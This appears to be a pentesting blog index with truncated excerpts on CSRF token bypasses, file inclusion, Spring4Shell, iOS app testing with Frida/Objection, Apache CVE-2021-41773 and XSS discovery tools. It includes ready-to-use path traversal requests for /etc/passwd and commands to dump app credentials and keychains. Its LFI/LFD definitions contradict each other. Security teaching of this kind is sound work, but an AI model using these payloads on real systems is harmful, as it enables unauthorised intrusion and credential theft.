neetech18

File Path Traversal with Burp Intruder-Payload Processing:  Use the Burp Intruder and select Payload and do the processing as shown below- Start the attack.

 A few ways to Bypass CSRF-Token Verification: 1. Use a blank CSRF token value. 2. Completely remove the CSRF token parameter value from the request. 3. Use any random CSRF Token of the same length. 4. Create another user account, copy its CSRF Token value and use it in the victim's account. 5. Try to decode the CSRF Token and check if it is encoded with algorithms like Base64, If yes it can be generated for other users. 6. Change request method i.e. from POST to GET. There is a possibility that the action gets initiated in both GET and POST method and it doesn't require a token in case of GET Method. Adding: Try bypassing with referrer based. Check whether CSRF tokens are expired properly. -->Old CSRF token re-use require physical access to the machine in order to exploit also the account should be logged in the time attacker access the device. It's a very low severity.

LFI-LFD-RFI-Path Traversal Local File Inclusion (LFI):  The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a dynamic file inclusion mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation. It also known as that is the process of including files, that are already locally present on the server, through the exploiting of vulnerable inclusion procedures implemented in the application. Function that could result in LFI: 1-include () 2-inculde _once() 3-require () 4-require_once() Local File Disclosure (LFD):  The same as local file inclusion but it enable be to execute file not only read it . Note: Every LFI can be LFD but every LFD not necessary to be LFI. A local file inclusion vuln means it executes the contents it includes, like PHP's include() function. A local file disclosure vuln discloses the contents of the local file. Reconsider your definition of loc...

Spring4Shell Vulnerability (CVE-2022-22965) Spring is one of the most popular and most widely used Java frameworks –  ~70% of all Java applications use it – so any security issue found in its core functionalities means bad news for a lot of people. Hence the high level of attention paid by the entire cyber industry.  The newly discovered vulnerability in the popular Java Spring framework, dubbed Spring4Shell, Exploitation of Spring4Shell will allow an attacker to remotely execute arbitrary code on the target server, usually with equivalent permissions to the vulnerable web server itself. A successful attack might allow a user to access all website internal data, including possible access to any connected database. It may also allow an attacker to access additional internal resources to gain more permissions or to pivot to other parts of the internal network. Spring4Shell: An confirmed RCE in Spring Core <=5.3.17. CVE Added (3/31/2022): CVE-2022-22965- RCE in "Spring Core"​...

Pentesting Testing of iOS Applications ++++Installing Frida and Objection: pip install -U objection pip install -U frida https://build.frida.re frida-ps -U frida-ps -Uai ++++Application Exploration: A-To browse applications file- ls B- Print current directory pwd print C-To browse applications file cd /folder/path/name ++++Sensitive Data Exposure 1. Dump .plist files: A- Print environment information env B-Go to document folder cd /var/mobile/Containers/Data/Application/<>/Documents ls C-Download .plist file file download Credentials.plist creds.plist It will get stored in your “C:\Users\USERNAME” path as “creds.plist” name. D-To read that downloaded file: !type creds.plist 2. Dump keychain file of Target Application: ios keychain dump 3. Dump sqlite files: A-Print environment information env B-Goto document folder cd /var/mobile/Containers/Data/Application/<>/Documents C-Download .sqlite file sqlite connect /var/mobile/Containers/Data/Application/<>/Documents/Credent...

Apache-/2.4.49-CVE-2021-41773: Path Traversal Vulnerability Below are the detals for exploitation of this vulnerability: GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd nmap  script at https://github.com/RootUp/PersonalStuff/blob/master/http-vuln-cve-2021-41773.nse nmap script=http-vuln-cve-2021-41773.nse <target> Proof of Concept: Reference: https://github.com/blasty/CVE-2021-41773 https://www.tenable.com/blog/cve-2021-41773-path-traversal-zero-day-in-apache-http-server-exploited

Finding Automated Cross-site Scripting Installing the Tools- https://github.com/devanshbatham/ParamSpider https://github.com/hahwul/dalfox Running the Tools- python3 paramspider.py -d xyz.com > test.txt type test.txt | Gxss -p xss| dalfox pipe --mining-dict params.txt Other Way To Find XSS using GF Tool- echo "target.com" | waybackurls | tee results.txt  cat results.txt | gf xss | sed 's/=.*/=/' | sed 's/URL: //' | tee results1.txt dalfox file results1.txt pipe Installing the Tools- https://github.com/tomnomnom/gf https://github.com/1ndianl33t/Gf-Patterns https://github.com/KathanP19/Gxss https://github.com/hahwul/dalfox Installing Gf Tool in Ubuntu- (use root permission) type this in terminal cd go export GOPATH=/root/go echo 'source $GOPATH/src/github.com/tomnomnom/gf/gf-completion.bash' >> ~/.bashrc cp -r $GOPATH/src/github.com/tomnomnom/gf/examples ~/.gf it should be something like this: /root/go/src/github.com/tomnomnom/gf/gf-completion.b...